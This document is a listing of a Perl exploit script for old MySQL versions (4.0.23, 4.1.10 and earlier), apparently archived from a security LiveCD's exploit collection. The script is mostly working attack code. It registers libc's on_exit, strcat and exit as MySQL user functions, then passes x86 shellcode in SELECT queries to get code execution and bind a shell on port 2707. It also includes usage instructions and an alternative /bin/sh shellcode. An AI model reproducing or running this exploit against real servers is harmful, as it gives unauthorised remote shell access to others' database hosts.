home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysqllibc.pl < prev    next >
Perl Script  |  2005-03-16  |  4KB  |  129 lines

  1. #!/usr/bin/perl
  2. ## Mysql CREATE FUNCTION libc arbitrary code execution.
  3. ##
  4. ## Author: Stefano Di Paola
  5. ## Vulnerable: Mysql <= 4.0.23, 4.1.10 
  6. ## Type of Vulnerability: Local/Remote - input validation
  7. ## Tested On : Mandrake 10.1 /Debian Sarge
  8. ## Vendor Status: Notified on March 2005
  9. ## 
  10. ## Copyright 2005 Stefano Di Paola (stefano.dipaola@wisec.it)
  11. ##
  12. ##
  13. ## Disclaimer:
  14. ## In no event shall the author be liable for any damages
  15. ## whatsoever arising out of or in connection with the use
  16. ## or spread of this information.
  17. ## Any use of this information is at the user's own risk.
  18. ##
  19. ## 
  20. ## 
  21. ## It calls on_exit(address) 
  22. ## then overwrites the address with strcat or strcpy
  23. ## and then calls exit
  24. ## 
  25. ## Usage: 
  26. ## perl myexp.pl numberofnops offset
  27. ## Example:
  28. ## perl myexp.pl 3 0
  29. ################################################
  30.  
  31. use strict;
  32. use DBI();
  33. use Data::Dumper;
  34. use constant DEBUG => 0;
  35. use constant PASS => "USEYOURPASSHERE";
  36. # Connect to the database.
  37. my $dbh = DBI->connect("DBI:mysql:database=test;host=localhost",
  38. "root", PASS ,{'RaiseError' => 1});
  39.  
  40. ### This is the opcode pointed by the address where on_exit jumps
  41. ###
  42. ### 
  43. ### 0x3deb jmp 0x3d
  44. ### but needs to be decremented by 2. ("shell",0x0x3de9,0)
  45. ## -1 -1 = 0x3de9-2
  46. # resulting in 0x3deb
  47. ## 0x3d is the distance from the address on_exit calls and the beginning of
  48. ## bind shell "\x6a\x66\x58\x6a\x01....
  49. my $jmp=0x3de9+($ARGV[1]<<8);
  50. printf("Using %x\n",$jmp); 
  51. my $zeros="0,"x($jmp);
  52. ### Bind_shell... works.....but maybe needs some nop \x90
  53. ### so i use argv[0] to repeat \x90
  54. ### It binds a shell to port 2707 (\x0a\x93)
  55. my $shell= ("\x90"x$ARGV[0])."\x6a\x66\x58\x6a\x01".
  56. "\x5b\x99\x52\x53\x6a\x02\x89".
  57. "\xe1\xcd\x80\x52\x43\x68\xff\x02\x0a\x93\x89\xe1".
  58. "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
  59. "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
  60. "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
  61. "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
  62. "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  63.  
  64. ########### Bash !!!!!!!!!!!###############
  65. # my $shell=("\x90"x$ARGV[0])."\x6a\x0b\x58\x99\x52\x68".
  66. # "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
  67. my $onex_create="create function on_exit returns integer soname 'libc.so.6';";
  68. print $onex_create,"\n" if(DEBUG);
  69. my $sth = $dbh->prepare($onex_create);
  70. if (!$sth) {
  71. print "Error:" . $dbh->errstr . "\n";
  72. }
  73. eval {$sth->execute};
  74. if($@){
  75. print "Error:" . $sth->errstr . "\n";
  76. }
  77.  
  78.  
  79. my $strcat_create="create function strcat returns string soname 'libc.so.6';";
  80. print $strcat_create,"\n" if(DEBUG);
  81. my $sth = $dbh->prepare($strcat_create);
  82. if (!$sth) {
  83. print "Error:" . $dbh->errstr . "\n";
  84. }
  85. eval {$sth->execute};
  86. if($@){
  87. print "Error:" . $sth->errstr . "\n";
  88. }
  89.  
  90. my $exit_create="create function exit returns integer soname 'libc.so.6';";
  91. print $exit_create,"\n" if(DEBUG);
  92. my $sth = $dbh->prepare($exit_create);
  93. if (!$sth) {
  94. print "Error:" . $dbh->errstr . "\n";
  95. }
  96. eval {$sth->execute};
  97. if($@){
  98. print "Error:" . $sth->errstr . "\n";
  99. }
  100.  
  101. my $onex="select on_exit('".$shell."',".$zeros."0), strcat(0);";
  102. print "select on_exit('".$shell."', 0), strcat(0);";
  103. print $onex,"\n" if(DEBUG);
  104. my $sth = $dbh->prepare($onex);
  105. if (!$sth) {
  106. print "Error:" . $dbh->errstr . "\n";
  107. }
  108. print "Select on_exit\n";
  109.  
  110. if (!$sth->execute) {
  111. print "Error:" . $sth->errstr . "\n";
  112. }
  113. while (my $ref = $sth->fetchrow_hashref()) {
  114. print Dumper($ref);
  115. }
  116.  
  117.  
  118. my $strc="select strcat('".$shell."',".$zeros."0), exit(0);";
  119. print $strc,"\n" if(DEBUG);
  120. $sth = $dbh->prepare($strc);
  121. if (!$sth) {
  122. print "Error:" . $dbh->errstr . "\n";
  123. }
  124.  
  125. if (!$sth->execute) {
  126. print "Error:" . $sth->errstr . "\n";
  127. }
  128. print "Select exit\n";
  129.